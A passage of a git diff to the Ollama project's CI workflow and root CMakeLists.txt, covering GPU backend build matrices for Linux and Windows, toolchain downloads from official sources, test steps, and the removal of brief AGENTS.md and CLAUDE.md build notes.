path: dist/ollama-windows-amd64.zip
|
||||
compression-level: 0
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-windows-arm64.zip
|
||||
path: dist/ollama-windows-arm64.zip
|
||||
compression-level: 0
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-windows-amd64-rocm.zip
|
||||
path: dist/ollama-windows-amd64-rocm.zip
|
||||
compression-level: 0
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: OllamaSetup.exe
|
||||
path: dist/OllamaSetup.exe
|
||||
compression-level: 0
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: install.ps1
|
||||
path: dist/install.ps1
|
||||
compression-level: 0
|
||||
@@ -22,8 +22,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
outputs:
|
||||
changed: ${{ steps.changes.outputs.changed }}
|
||||
app_changed: ${{ steps.changes.outputs.app_changed }}
|
||||
enginehash: ${{ steps.changes.outputs.enginehash }}
|
||||
vendorsha: ${{ steps.changes.outputs.vendorsha }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
@@ -38,42 +37,8 @@ jobs:
|
||||
| xargs python3 -c "import sys; from pathlib import Path; print(any(Path(x).match(glob) for x in sys.argv[1:] for glob in '$*'.split(' ')))"
|
||||
}
|
||||
|
||||
echo changed=$(changed \
|
||||
'CMakeLists.txt' \
|
||||
'CMakePresets.json' \
|
||||
'cmake/**' \
|
||||
'cmake/**/*' \
|
||||
'llama/server/**/*' \
|
||||
'llama/compat/**/*' \
|
||||
'LLAMA_CPP_VERSION' \
|
||||
'MLX_VERSION' \
|
||||
'MLX_C_VERSION' \
|
||||
'llama/llama.cpp/**/*' \
|
||||
'ml/backend/ggml/ggml/**/*' \
|
||||
'x/imagegen/mlx/**' \
|
||||
'x/imagegen/mlx/**/*' \
|
||||
'.github/**/*') | tee -a $GITHUB_OUTPUT
|
||||
echo app_changed=$(changed 'app/**' 'app/**/*') | tee -a $GITHUB_OUTPUT
|
||||
echo enginehash=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION) | tee -a $GITHUB_OUTPUT
|
||||
|
||||
patches:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Verify patches apply cleanly
|
||||
shell: bash
|
||||
run: |
|
||||
cmake -S llama/server -B "$RUNNER_TEMP/llama-server-patch-check" \
|
||||
-DCMAKE_BUILD_TYPE=Release \
|
||||
-DBUILD_SHARED_LIBS=ON \
|
||||
-DGGML_BACKEND_DL=ON \
|
||||
-DGGML_NATIVE=OFF \
|
||||
-DGGML_OPENMP=OFF \
|
||||
-DGGML_CPU_ALL_VARIANTS=ON \
|
||||
-DOLLAMA_RUNNER_DIR=
|
||||
echo changed=$(changed 'llama/llama.cpp/**/*' 'ml/backend/ggml/ggml/**/*' '.github/**/*') | tee -a $GITHUB_OUTPUT
|
||||
echo vendorsha=$(make -f Makefile.sync print-base) | tee -a $GITHUB_OUTPUT
|
||||
|
||||
linux:
|
||||
needs: [changes]
|
||||
@@ -82,41 +47,23 @@ jobs:
|
||||
matrix:
|
||||
include:
|
||||
- preset: CPU
|
||||
superbuild_target: ollama-local
|
||||
superbuild_dir: build/local-superbuild
|
||||
superbuild_args: ''
|
||||
expected_payload: lib/ollama/llama-server
|
||||
install-go: true
|
||||
- preset: CUDA
|
||||
container: nvidia/cuda:13.0.0-devel-ubuntu22.04
|
||||
superbuild_target: ollama-llama-server-cuda_v13
|
||||
superbuild_dir: build/local-superbuild-cuda_v13
|
||||
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=87'
|
||||
expected_payload: lib/ollama/cuda_v13/libggml-cuda.so
|
||||
flags: '-DCMAKE_CUDA_ARCHITECTURES=87'
|
||||
- preset: ROCm
|
||||
container: rocm/dev-ubuntu-22.04:7.2.1
|
||||
extra-packages: rocm-libs
|
||||
superbuild_target: ollama-llama-server-rocm_v7_2
|
||||
superbuild_dir: build/local-superbuild-rocm_v7_2
|
||||
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=rocm_v7_2 -DAMDGPU_TARGETS=gfx1010 -DCMAKE_PREFIX_PATH=/opt/rocm'
|
||||
expected_payload: lib/ollama/rocm_v7_2/libggml-hip.so
|
||||
flags: '-DAMDGPU_TARGETS=gfx1010 -DCMAKE_PREFIX_PATH=/opt/rocm'
|
||||
- preset: Vulkan
|
||||
container: ubuntu:22.04
|
||||
extra-packages: >
|
||||
mesa-vulkan-drivers vulkan-tools
|
||||
libvulkan1 libvulkan-dev
|
||||
vulkan-sdk spirv-headers cmake ccache g++ make
|
||||
superbuild_target: ollama-llama-server-vulkan
|
||||
superbuild_dir: build/local-superbuild-vulkan
|
||||
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=vulkan'
|
||||
expected_payload: lib/ollama/vulkan/libggml-vulkan.so
|
||||
vulkan-sdk cmake ccache g++ make
|
||||
- preset: 'MLX CUDA 13'
|
||||
container: nvidia/cuda:13.0.0-devel-ubuntu22.04
|
||||
extra-packages: libcudnn9-dev-cuda-13 libopenblas-dev liblapack-dev liblapacke-dev git curl
|
||||
superbuild_target: ollama-mlx-cuda_v13
|
||||
superbuild_dir: build/local-superbuild-mlx-cuda_v13
|
||||
superbuild_args: '-DOLLAMA_MLX_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=87 -DMLX_CUDA_ARCHITECTURES=80-virtual -DBLAS_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu -DLAPACK_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu'
|
||||
expected_payload: lib/ollama/mlx_cuda_v13/libmlx.so
|
||||
flags: '-DCMAKE_CUDA_ARCHITECTURES=87 -DBLAS_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu -DLAPACK_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu'
|
||||
install-go: true
|
||||
runs-on: linux
|
||||
container: ${{ matrix.container }}
|
||||
@@ -133,9 +80,11 @@ jobs:
|
||||
echo "deb [signed-by=/usr/share/keyrings/lunarg-archive-keyring.gpg] https://packages.lunarg.com/vulkan/1.4.313 jammy main" | $sudo tee /etc/apt/sources.list.d/lunarg-vulkan-1.4.313-jammy.list > /dev/null
|
||||
$sudo apt-get update
|
||||
fi
|
||||
$sudo apt-get install -y cmake ccache curl git ${{ matrix.extra-packages }}
|
||||
# Use a current CMake for upstream llama.cpp and Vulkan dependency discovery.
|
||||
curl -fsSL https://github.com/Kitware/CMake/releases/download/v3.31.2/cmake-3.31.2-linux-$(uname -m).tar.gz | $sudo tar xz -C /usr/local --strip-components 1
|
||||
$sudo apt-get install -y cmake ccache ${{ matrix.extra-packages }}
|
||||
# MLX requires CMake 3.25+, install from official releases
|
||||
if [ "${{ matrix.preset }}" = "MLX CUDA 13" ]; then
|
||||
curl -fsSL https://github.com/Kitware/CMake/releases/download/v3.31.2/cmake-3.31.2-linux-$(uname -m).tar.gz | $sudo tar xz -C /usr/local --strip-components 1
|
||||
fi
|
||||
# Export VULKAN_SDK if provided by LunarG package (defensive)
|
||||
if [ -d "/usr/lib/x86_64-linux-gnu/vulkan" ] && [ "${{ matrix.preset }}" = "Vulkan" ]; then
|
||||
echo "VULKAN_SDK=/usr" >> $GITHUB_ENV
|
||||
@@ -145,30 +94,17 @@ jobs:
|
||||
- if: matrix.install-go
|
||||
name: Install Go
|
||||
run: |
|
||||
[ -n "${{ matrix.container }}" ] || sudo=sudo
|
||||
GO_VERSION=$(awk '/^go / { print $2 }' go.mod)
|
||||
curl -fsSL "https://golang.org/dl/go${GO_VERSION}.linux-$(dpkg --print-architecture).tar.gz" | $sudo tar xz -C /usr/local
|
||||
curl -fsSL "https://golang.org/dl/go${GO_VERSION}.linux-$(dpkg --print-architecture).tar.gz" | tar xz -C /usr/local
|
||||
echo "/usr/local/go/bin" >> $GITHUB_PATH
|
||||
- uses: actions/cache@v4
|
||||
with:
|
||||
path: /github/home/.cache/ccache
|
||||
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.enginehash }}
|
||||
- name: Build native superbuild
|
||||
if: matrix.superbuild_target
|
||||
run: |
|
||||
cmake -S . -B "${{ matrix.superbuild_dir }}" ${{ matrix.superbuild_args }}
|
||||
CMAKE_BUILD_PARALLEL_LEVEL=$(nproc) cmake --build "${{ matrix.superbuild_dir }}" --target "${{ matrix.superbuild_target }}" -- -l $(nproc)
|
||||
test -e "${{ matrix.superbuild_dir }}/${{ matrix.expected_payload }}"
|
||||
- name: Verify local superbuild install
|
||||
if: matrix.superbuild_target == 'ollama-local'
|
||||
run: |
|
||||
./ollama --version
|
||||
"${{ matrix.superbuild_dir }}/lib/ollama/llama-server" --version
|
||||
test -x "${{ matrix.superbuild_dir }}/lib/ollama/llama-quantize"
|
||||
cmake --install "${{ matrix.superbuild_dir }}" --component ollama-local --prefix "$RUNNER_TEMP/ollama-local"
|
||||
"$RUNNER_TEMP/ollama-local/bin/ollama" --version
|
||||
"$RUNNER_TEMP/ollama-local/lib/ollama/llama-server" --version
|
||||
test -x "$RUNNER_TEMP/ollama-local/lib/ollama/llama-quantize"
|
||||
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.vendorsha }}
|
||||
- run: |
|
||||
cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }}
|
||||
cmake --build --preset "${{ matrix.preset }}" --parallel
|
||||
|
||||
windows:
|
||||
needs: [changes]
|
||||
if: needs.changes.outputs.changed == 'True'
|
||||
@@ -176,16 +112,9 @@ jobs:
|
||||
matrix:
|
||||
include:
|
||||
- preset: CPU
|
||||
superbuild_target: ollama-local
|
||||
superbuild_dir: build\local-superbuild
|
||||
superbuild_args: ''
|
||||
expected_payload: lib\ollama\llama-server.exe
|
||||
- preset: CUDA
|
||||
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
|
||||
superbuild_target: ollama-llama-server-cuda_v13
|
||||
superbuild_dir: build\local-superbuild-cuda_v13
|
||||
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=80'
|
||||
expected_payload: lib\ollama\cuda_v13\ggml-cuda.dll
|
||||
flags: '-DCMAKE_CUDA_ARCHITECTURES=80'
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
- '"nvcc"'
|
||||
@@ -196,26 +125,14 @@ jobs:
|
||||
- '"nvptxcompiler"'
|
||||
cuda-version: '13.0'
|
||||
- preset: ROCm
|
||||
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
|
||||
rocm-version: '7.1'
|
||||
superbuild_target: ollama-llama-server-rocm_v7_1
|
||||
superbuild_dir: build\local-superbuild-rocm_v7_1
|
||||
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=rocm_v7_1 -DAMDGPU_TARGETS=gfx1010'
|
||||
expected_payload: lib\ollama\rocm_v7_1\ggml-hip.dll
|
||||
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-24.Q4-WinSvr2022-For-HIP.exe
|
||||
flags: '-DAMDGPU_TARGETS=gfx1010 -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma" -DCMAKE_CXX_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma"'
|
||||
- preset: Vulkan
|
||||
install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
|
||||
superbuild_target: ollama-llama-server-vulkan
|
||||
superbuild_dir: build\local-superbuild-vulkan
|
||||
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=vulkan'
|
||||
expected_payload: lib\ollama\vulkan\ggml-vulkan.dll
|
||||
- preset: 'MLX CUDA 13'
|
||||
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
|
||||
cudnn-install: https://developer.download.nvidia.com/compute/cudnn/redist/cudnn/windows-x86_64/cudnn-windows-x86_64-9.18.1.3_cuda13-archive.zip
|
||||
superbuild_target: ollama-mlx-cuda_v13
|
||||
superbuild_dir: build\local-superbuild-mlx-cuda_v13
|
||||
superbuild_args: '-DOLLAMA_MLX_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=80 -DMLX_CUDA_ARCHITECTURES=80-virtual'
|
||||
expected_payload: lib\ollama\mlx_cuda_v13\mlx.dll
|
||||
install-go: true
|
||||
flags: '-DCMAKE_CUDA_ARCHITECTURES=80'
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
- '"nvcc"'
|
||||
@@ -284,10 +201,6 @@ jobs:
|
||||
}
|
||||
|
||||
$vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
|
||||
$vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
|
||||
if (Test-Path $vulkanRuntime) {
|
||||
Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
|
||||
}
|
||||
echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
|
||||
- if: matrix.preset == 'MLX CUDA 13'
|
||||
@@ -317,44 +230,18 @@ jobs:
|
||||
C:\Program Files\NVIDIA\CUDNN
|
||||
key: ${{ matrix.install }}-${{ matrix.cudnn-install }}
|
||||
- uses: actions/checkout@v4
|
||||
- if: matrix.superbuild_target == 'ollama-local' || matrix.install-go
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version-file: 'go.mod'
|
||||
- uses: actions/cache@v4
|
||||
with:
|
||||
path: ${{ github.workspace }}\.ccache
|
||||
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.enginehash }}
|
||||
- name: Build native superbuild
|
||||
if: matrix.superbuild_target
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.vendorsha }}
|
||||
- run: |
|
||||
Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
|
||||
Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation -DevCmdArguments '-arch=x64 -no_logo'
|
||||
cmake -S . -B "${{ matrix.superbuild_dir }}" ${{ matrix.superbuild_args }}
|
||||
$env:CMAKE_BUILD_PARALLEL_LEVEL = [Environment]::ProcessorCount
|
||||
cmake --build "${{ matrix.superbuild_dir }}" --target "${{ matrix.superbuild_target }}" -- -l $([Environment]::ProcessorCount)
|
||||
if (!(Test-Path "${{ matrix.superbuild_dir }}\${{ matrix.expected_payload }}")) {
|
||||
throw "missing ${{ matrix.expected_payload }}"
|
||||
}
|
||||
cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }}
|
||||
cmake --build --parallel --preset "${{ matrix.preset }}"
|
||||
env:
|
||||
CMAKE_GENERATOR: Ninja
|
||||
- name: Verify local superbuild install
|
||||
if: matrix.superbuild_target == 'ollama-local'
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
& ".\ollama.exe" --version
|
||||
& "${{ matrix.superbuild_dir }}\lib\ollama\llama-server.exe" --version
|
||||
if (!(Test-Path "${{ matrix.superbuild_dir }}\lib\ollama\llama-quantize.exe")) {
|
||||
throw "missing llama-quantize.exe"
|
||||
}
|
||||
$installPrefix = Join-Path $env:RUNNER_TEMP "ollama-local"
|
||||
cmake --install "${{ matrix.superbuild_dir }}" --component ollama-local --prefix "$installPrefix"
|
||||
& "$installPrefix\bin\ollama.exe" --version
|
||||
& "$installPrefix\lib\ollama\llama-server.exe" --version
|
||||
if (!(Test-Path "$installPrefix\lib\ollama\llama-quantize.exe")) {
|
||||
throw "missing installed llama-quantize.exe"
|
||||
}
|
||||
|
||||
go_mod_tidy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
@@ -363,7 +250,6 @@ jobs:
|
||||
run: go mod tidy --diff || (echo "Please run 'go mod tidy'." && exit 1)
|
||||
|
||||
test:
|
||||
needs: [changes]
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macos-latest, windows-latest]
|
||||
@@ -377,9 +263,7 @@ jobs:
|
||||
go-version-file: 'go.mod'
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
Makefile.sync
|
||||
- uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: '20'
|
||||
@@ -393,17 +277,6 @@ jobs:
|
||||
if: ${{ startsWith(matrix.os, 'ubuntu') }}
|
||||
working-directory: ./app/ui/app
|
||||
run: npm test
|
||||
- name: Verify MLX generated files are current
|
||||
if: ${{ startsWith(matrix.os, 'ubuntu') }}
|
||||
run: |
|
||||
cmake -S . -B build/mlx-generate -DOLLAMA_MLX_BACKENDS=cuda_v13
|
||||
cmake --build build/mlx-generate --target ollama-mlx-generate-wrappers
|
||||
git diff --exit-code -- \
|
||||
x/imagegen/mlx/mlx.h \
|
||||
x/imagegen/mlx/mlx.c \
|
||||
x/mlxrunner/mlx/generated.h \
|
||||
x/mlxrunner/mlx/generated.c \
|
||||
x/mlxrunner/mlx/include/mlx/c
|
||||
- name: Run go generate
|
||||
run: go generate ./...
|
||||
|
||||
@@ -411,8 +284,15 @@ jobs:
|
||||
if: always()
|
||||
run: go test -count=1 -benchtime=1x ./...
|
||||
|
||||
- name: go test app with live updater tag
|
||||
if: ${{ needs.changes.outputs.app_changed == 'True' && contains(fromJSON('["macos-latest","windows-latest"]'), matrix.os) }}
|
||||
run: go test -count=1 -tags updater_live ./app/...
|
||||
|
||||
- uses: golangci/golangci-lint-action@v9
|
||||
with:
|
||||
only-new-issues: true
|
||||
|
||||
patches:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Verify patches apply cleanly and do not change files
|
||||
run: |
|
||||
make -f Makefile.sync clean checkout apply-patches sync
|
||||
git diff --compact-summary --exit-code
|
||||
@@ -1,21 +0,0 @@
|
||||
# AGENTS.md
|
||||
|
||||
## Building
|
||||
|
||||
For a full build from the repository root:
|
||||
|
||||
```sh
|
||||
cmake -B build .
|
||||
cmake --build build --parallel 8
|
||||
./ollama serve
|
||||
```
|
||||
|
||||
For quick Go-only iteration against an existing native payload:
|
||||
|
||||
```sh
|
||||
go build .
|
||||
go run . serve
|
||||
```
|
||||
|
||||
See `docs/development.md` for prerequisites, platform notes, GPU backends, and
|
||||
the full development workflow.
|
||||
@@ -1,3 +0,0 @@
|
||||
# CLAUDE.md
|
||||
|
||||
See `AGENTS.md` for the shared agent instructions for this repository.
|
||||
@@ -1,4 +1,4 @@
|
||||
cmake_minimum_required(VERSION 3.24)
|
||||
cmake_minimum_required(VERSION 3.21)
|
||||
|
||||
project(Ollama C CXX)
|
||||
|
||||
@@ -23,37 +23,39 @@ include(GNUInstallDirs)
|
||||
|
||||
find_package(Threads REQUIRED)
|
||||
|
||||
if(NOT CMAKE_CONFIGURATION_TYPES AND NOT CMAKE_BUILD_TYPE)
|
||||
set(CMAKE_BUILD_TYPE Release CACHE STRING "Build type" FORCE)
|
||||
endif()
|
||||
|
||||
# These defaults can be overridden by presets (e.g., for static macOS llama-server builds)
|
||||
if(NOT DEFINED BUILD_SHARED_LIBS)
|
||||
set(BUILD_SHARED_LIBS ON)
|
||||
endif()
|
||||
set(CMAKE_BUILD_TYPE Release)
|
||||
set(BUILD_SHARED_LIBS ON)
|
||||
|
||||
set(CMAKE_CXX_STANDARD 17)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||
set(CMAKE_CXX_EXTENSIONS ON) # Recent versions of MLX require gnu++17 extensions to compile properly
|
||||
set(CMAKE_CXX_EXTENSIONS ON) # Recent versions of MLX Requires gnu++17 extensions to compile properly
|
||||
|
||||
# GGML backend for inference is provided by llama-server (built separately via
|
||||
# llama/server/CMakeLists.txt using FetchContent from the pinned llama.cpp source).
|
||||
# The root CMake project is the orchestration entrypoint; backend-specific
|
||||
# build rules live in subprojects under cmake/.
|
||||
set(GGML_BUILD ON)
|
||||
set(GGML_SHARED ON)
|
||||
set(GGML_CCACHE ON)
|
||||
set(GGML_BACKEND_DL ON)
|
||||
set(GGML_BACKEND_SHARED ON)
|
||||
set(GGML_SCHED_MAX_COPIES 4)
|
||||
|
||||
set(GGML_LLAMAFILE ON)
|
||||
set(GGML_CUDA_PEER_MAX_BATCH_SIZE 128)
|
||||
set(GGML_CUDA_GRAPHS ON)
|
||||
set(GGML_CUDA_FA ON)
|
||||
set(GGML_CUDA_COMPRESSION_MODE default)
|
||||
|
||||
if((CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_OSX_ARCHITECTURES MATCHES "arm64")
|
||||
OR (NOT CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_SYSTEM_PROCESSOR MATCHES "arm|aarch64|ARM64|ARMv[0-9]+"))
|
||||
set(GGML_CPU_ALL_VARIANTS ON)
|
||||
endif()
|
||||
|
||||
if(APPLE)
|
||||
set(CMAKE_BUILD_RPATH "@loader_path")
|
||||
set(CMAKE_INSTALL_RPATH "@loader_path")
|
||||
set(CMAKE_BUILD_WITH_INSTALL_RPATH ON)
|
||||
elseif(UNIX)
|
||||
set(CMAKE_BUILD_RPATH "$ORIGIN")
|
||||
set(CMAKE_INSTALL_RPATH "$ORIGIN")
|
||||
set(CMAKE_BUILD_WITH_INSTALL_RPATH ON)
|
||||
endif()
|
||||
|
||||
set(OLLAMA_BUILD_DIR ${CMAKE_BINARY_DIR}/lib/ollama)
|
||||
set(OLLAMA_LIB_DIR "lib/ollama" CACHE STRING "Install destination for Ollama runtime payloads")
|
||||
set(OLLAMA_INSTALL_DIR ${OLLAMA_LIB_DIR}/${OLLAMA_RUNNER_DIR})
|
||||
set(OLLAMA_INSTALL_DIR ${CMAKE_INSTALL_PREFIX}/lib/ollama/${OLLAMA_RUNNER_DIR})
|
||||
|
||||
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${OLLAMA_BUILD_DIR})
|
||||
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_DEBUG ${OLLAMA_BUILD_DIR})
|
||||
@@ -62,9 +64,309 @@ set(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${OLLAMA_BUILD_DIR})
|
||||
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_DEBUG ${OLLAMA_BUILD_DIR})
|
||||
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
|
||||
|
||||
if(EXISTS "${CMAKE_CURRENT_SOURCE_DIR}/llama/server/CMakeLists.txt")
|
||||
set(OLLAMA_HAVE_LLAMA_SERVER TRUE)
|
||||
else()
|
||||
set(OLLAMA_HAVE_LLAMA_SERVER FALSE)
|
||||
# Store ggml include paths for use with target_include_directories later.
|
||||
# We avoid global include_directories() to prevent polluting the include path
|
||||
# for other projects like MLX (whose openblas dependency has its own common.h).
|
||||
set(GGML_INCLUDE_DIRS
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/include
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cpu
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cpu/amx
|
||||
)
|
||||
|
||||
add_compile_definitions(NDEBUG GGML_VERSION=0x0 GGML_COMMIT=0x0)
|
||||
|
||||
# Define GGML version variables for shared library SOVERSION
|
||||
# These are required by ggml/src/CMakeLists.txt for proper library versioning
|
||||
set(GGML_VERSION_MAJOR 0)
|
||||
set(GGML_VERSION_MINOR 0)
|
||||
set(GGML_VERSION_PATCH 0)
|
||||
set(GGML_VERSION "${GGML_VERSION_MAJOR}.${GGML_VERSION_MINOR}.${GGML_VERSION_PATCH}")
|
||||
|
||||
set(GGML_CPU ON)
|
||||
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src)
|
||||
set_property(TARGET ggml PROPERTY EXCLUDE_FROM_ALL TRUE)
|
||||
|
||||
get_target_property(CPU_VARIANTS ggml-cpu MANUALLY_ADDED_DEPENDENCIES)
|
||||
if(NOT CPU_VARIANTS)
|
||||
set(CPU_VARIANTS "ggml-cpu")
|
||||
endif()
|
||||
|
||||
# Apply ggml include directories to ggml targets only (not globally)
|
||||
target_include_directories(ggml-base PRIVATE ${GGML_INCLUDE_DIRS})
|
||||
foreach(variant ${CPU_VARIANTS})
|
||||
if(TARGET ${variant})
|
||||
target_include_directories(${variant} PRIVATE ${GGML_INCLUDE_DIRS})
|
||||
endif()
|
||||
endforeach()
|
||||
|
||||
install(TARGETS ggml-base ${CPU_VARIANTS}
|
||||
RUNTIME_DEPENDENCIES
|
||||
PRE_EXCLUDE_REGEXES ".*"
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
|
||||
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
|
||||
)
|
||||
|
||||
check_language(CUDA)
|
||||
if(CMAKE_CUDA_COMPILER)
|
||||
if(CMAKE_VERSION VERSION_GREATER_EQUAL "3.24" AND NOT CMAKE_CUDA_ARCHITECTURES)
|
||||
set(CMAKE_CUDA_ARCHITECTURES "native")
|
||||
endif()
|
||||
|
||||
find_package(CUDAToolkit)
|
||||
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cuda)
|
||||
target_include_directories(ggml-cuda PRIVATE ${GGML_INCLUDE_DIRS})
|
||||
install(TARGETS ggml-cuda
|
||||
RUNTIME_DEPENDENCIES
|
||||
DIRECTORIES ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR}
|
||||
PRE_INCLUDE_REGEXES cublas cublasLt cudart
|
||||
PRE_EXCLUDE_REGEXES ".*"
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CUDA
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CUDA
|
||||
)
|
||||
endif()
|
||||
|
||||
set(WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX "^gfx(908|90a|1200|1201):xnack[+-]$"
|
||||
CACHE STRING
|
||||
"Regular expression describing AMDGPU_TARGETS not supported on Windows. Override to force building these targets. Default \"^gfx(908|90a|1200|1201):xnack[+-]$\"."
|
||||
)
|
||||
|
||||
check_language(HIP)
|
||||
if(CMAKE_HIP_COMPILER)
|
||||
set(HIP_PLATFORM "amd")
|
||||
|
||||
if(NOT AMDGPU_TARGETS)
|
||||
find_package(hip REQUIRED)
|
||||
list(FILTER AMDGPU_TARGETS INCLUDE REGEX "^gfx(94[012]|101[02]|1030|110[012]|120[01])$")
|
||||
endif()
|
||||
|
||||
if(WIN32 AND WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX)
|
||||
list(FILTER AMDGPU_TARGETS EXCLUDE REGEX ${WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX})
|
||||
endif()
|
||||
|
||||
if(AMDGPU_TARGETS)
|
||||
find_package(hip REQUIRED)
|
||||
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-hip)
|
||||
target_include_directories(ggml-hip PRIVATE ${GGML_INCLUDE_DIRS})
|
||||
|
||||
if (WIN32)
|
||||
target_compile_definitions(ggml-hip PRIVATE GGML_CUDA_NO_PEER_COPY)
|
||||
endif()
|
||||
|
||||
target_compile_definitions(ggml-hip PRIVATE GGML_HIP_NO_VMM)
|
||||
|
||||
install(TARGETS ggml-hip
|
||||
RUNTIME_DEPENDENCY_SET rocm
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
|
||||
)
|
||||
install(RUNTIME_DEPENDENCY_SET rocm
|
||||
DIRECTORIES ${HIP_BIN_INSTALL_DIR} ${HIP_LIB_INSTALL_DIR}
|
||||
PRE_INCLUDE_REGEXES hipblas rocblas amdhip64 rocsolver amd_comgr hsa-runtime64 rocsparse tinfo rocprofiler-register roctx64 rocroller drm drm_amdgpu numa elf
|
||||
PRE_EXCLUDE_REGEXES ".*"
|
||||
POST_EXCLUDE_REGEXES "system32"
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
|
||||
)
|
||||
|
||||
foreach(HIP_LIB_BIN_INSTALL_DIR IN ITEMS ${HIP_BIN_INSTALL_DIR} ${HIP_LIB_INSTALL_DIR})
|
||||
